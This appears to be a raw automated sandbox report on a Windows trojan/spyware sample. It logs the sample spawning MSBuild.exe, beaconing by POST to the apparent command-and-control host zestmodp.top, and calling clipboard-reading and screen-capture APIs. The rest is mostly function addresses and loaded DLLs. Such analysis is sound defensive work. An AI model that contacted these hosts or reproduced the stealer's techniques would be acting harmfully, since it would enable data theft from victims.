Source: global traffic	DNS traffic detected: DNS query: c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com

Source: unknown

HTTP traffic detected: POST /zeda HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 41Host: zestmodp.top

Source: MSBuild.exe, 00000001.00000002.1483746745.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zestmodp.top/
Source: MSBuild.exe, 00000001.00000002.1483746745.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zestmodp.top/r5
Source: MSBuild.exe, 00000001.00000002.1483746745.00000000015CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zestmodp.top/zeda
Source: MSBuild.exe, 00000001.00000002.1483746745.00000000015CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zestmodp.top/zedaT
Source: MSBuild.exe, 00000001.00000002.1483849551.00000000015EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zestmodp.top/zedaT/AO

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.254:443 -> 192.168.2.5:49700 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0043D320 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

1_2_0043D320

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0043D320 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

1_2_0043D320

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0043D510 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

1_2_0043D510

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C53000	0_2_00007FF706C53000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C355C0	0_2_00007FF706C355C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CD280C	0_2_00007FF706CD280C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5E800	0_2_00007FF706C5E800
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CCD798	0_2_00007FF706CCD798
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C54FD0	0_2_00007FF706C54FD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C567D0	0_2_00007FF706C567D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C9CFC0	0_2_00007FF706C9CFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C6C7C0	0_2_00007FF706C6C7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4E790	0_2_00007FF706C4E790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5CB80	0_2_00007FF706C5CB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4CB80	0_2_00007FF706C4CB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CCE728	0_2_00007FF706CCE728
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C6EB30	0_2_00007FF706C6EB30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C51340	0_2_00007FF706C51340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C68F40	0_2_00007FF706C68F40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CCC4F0	0_2_00007FF706CCC4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C460F0	0_2_00007FF706C460F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C584E0	0_2_00007FF706C584E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C508E0	0_2_00007FF706C508E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4A8E0	0_2_00007FF706C4A8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5AD10	0_2_00007FF706C5AD10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C64500	0_2_00007FF706C64500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C57100	0_2_00007FF706C57100
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C350B0	0_2_00007FF706C350B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C58CB0	0_2_00007FF706C58CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5B8D0	0_2_00007FF706C5B8D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C6ACD0	0_2_00007FF706C6ACD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4F8C0	0_2_00007FF706C4F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5A860	0_2_00007FF706C5A860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4F460	0_2_00007FF706C4F460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CE0C94	0_2_00007FF706CE0C94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4C890	0_2_00007FF706C4C890
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4E02F	0_2_00007FF706C4E02F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CDA01C	0_2_00007FF706CDA01C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5D1F0	0_2_00007FF706C5D1F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5CDF0	0_2_00007FF706C5CDF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4FDE0	0_2_00007FF706C4FDE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4D1B0	0_2_00007FF706C4D1B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CCD99C	0_2_00007FF706CCD99C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4A5A0	0_2_00007FF706C4A5A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C551C0	0_2_00007FF706C551C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4D9C0	0_2_00007FF706C4D9C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C59970	0_2_00007FF706C59970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CCD594	0_2_00007FF706CCD594
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C64190	0_2_00007FF706C64190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4AD90	0_2_00007FF706C4AD90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5D520	0_2_00007FF706C5D520
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5BD20	0_2_00007FF706C5BD20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C57D20	0_2_00007FF706C57D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C58950	0_2_00007FF706C58950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C67950	0_2_00007FF706C67950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C70550	0_2_00007FF706C70550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4B940	0_2_00007FF706C4B940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C6A6E0	0_2_00007FF706C6A6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CD2F10	0_2_00007FF706CD2F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C5AB10	0_2_00007FF706C5AB10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CDA304	0_2_00007FF706CDA304
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CDA6FC	0_2_00007FF706CDA6FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C332B0	0_2_00007FF706C332B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C64AB0	0_2_00007FF706C64AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CCCAA0	0_2_00007FF706CCCAA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C536A0	0_2_00007FF706C536A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C676D0	0_2_00007FF706C676D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C56AD0	0_2_00007FF706C56AD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CD02C0	0_2_00007FF706CD02C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C68AC0	0_2_00007FF706C68AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4666E	0_2_00007FF706C4666E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C63A70	0_2_00007FF706C63A70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C6C270	0_2_00007FF706C6C270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706CE3E60	0_2_00007FF706CE3E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C4C290	0_2_00007FF706C4C290
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C69690	0_2_00007FF706C69690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C54230	0_2_00007FF706C54230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C71220	0_2_00007FF706C71220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C69A50	0_2_00007FF706C69A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF706C60640	0_2_00007FF706C60640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414037	1_2_00414037
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0044D0E0	1_2_0044D0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00426250	1_2_00426250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004192A0	1_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004153B6	1_2_004153B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00434429	1_2_00434429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0044C4F0	1_2_0044C4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B680	1_2_0040B680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00434840	1_2_00434840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041F8C0	1_2_0041F8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00445880	1_2_00445880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D9F0	1_2_0040D9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00403A70	1_2_00403A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00448B21	1_2_00448B21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00412BE8	1_2_00412BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00441B80	1_2_00441B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DC10	1_2_0042DC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00448E6F	1_2_00448E6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00410E87	1_2_00410E87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00441F70	1_2_00441F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0043D050	1_2_0043D050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041F07B	1_2_0041F07B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004030D0	1_2_004030D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004160FC	1_2_004160FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409170	1_2_00409170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00447170	1_2_00447170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0043A1C1	1_2_0043A1C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004271C0	1_2_004271C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00441210	1_2_00441210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B220	1_2_0040B220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D28B	1_2_0042D28B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040C290	1_2_0040C290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0043D320	1_2_0043D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00404382	1_2_00404382
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004023B0	1_2_004023B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0044A3B0	1_2_0044A3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004433B0	1_2_004433B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004383BB	1_2_004383BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00441470	1_2_00441470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B43B	1_2_0041B43B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004254C0	1_2_004254C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004214C6	1_2_004214C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042F5AF	1_2_0042F5AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004405BF	1_2_004405BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00416630	1_2_00416630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004086A0	1_2_004086A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0043076C	1_2_0043076C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00413710	1_2_00413710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042473A	1_2_0042473A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004147F9	1_2_004147F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00423840	1_2_00423840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041E876	1_2_0041E876
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041080E	1_2_0041080E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A950	1_2_0040A950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0044C950	1_2_0044C950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0044A910	1_2_0044A910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0043A930	1_2_0043A930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040C9F0	1_2_0040C9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00407990	1_2_00407990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00433A60	1_2_00433A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00446A00	1_2_00446A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00449A01	1_2_00449A01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00435A0A	1_2_00435A0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415AD0	1_2_00415AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040FA90	1_2_0040FA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00426B20	1_2_00426B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408BC0	1_2_00408BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0043ABE0	1_2_0043ABE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0043CB90	1_2_0043CB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00406B96	1_2_00406B96
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00423C90	1_2_00423C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00434CA7	1_2_00434CA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0044CD10	1_2_0044CD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00422DD0	1_2_00422DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00447DA0	1_2_00447DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042CE40	1_2_0042CE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00442E40	1_2_00442E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00445E70	1_2_00445E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00429E87	1_2_00429E87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00448F42	1_2_00448F42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409F50	1_2_00409F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0044AF70	1_2_0044AF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00412F78	1_2_00412F78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042FFA3	1_2_0042FFA3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00419290 appears 93 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040B0C0 appears 79 times

Source: file.exe

Static PE information: Number of sections : 13 > 10

Source: file.exe, 00000000.00000002.1370323787.00007FF706DBC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHH.exe4 vs file.exe
Source: file.exe, 00000000.00000002.1369937962.00000180F6810000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHH.exe4 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameHH.exe4 vs file.exe

Source: file.exe	Static PE information: Section: .jss ZLIB complexity 1.0003259892086331
Source: file.exe	Static PE information: Section: .jss ZLIB complexity 1.0003259892086331

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@3/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00441F70 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

1_2_00441F70

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	Virustotal: Detection: 72%
Source: file.exe	ReversingLabs: Detection: 72%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
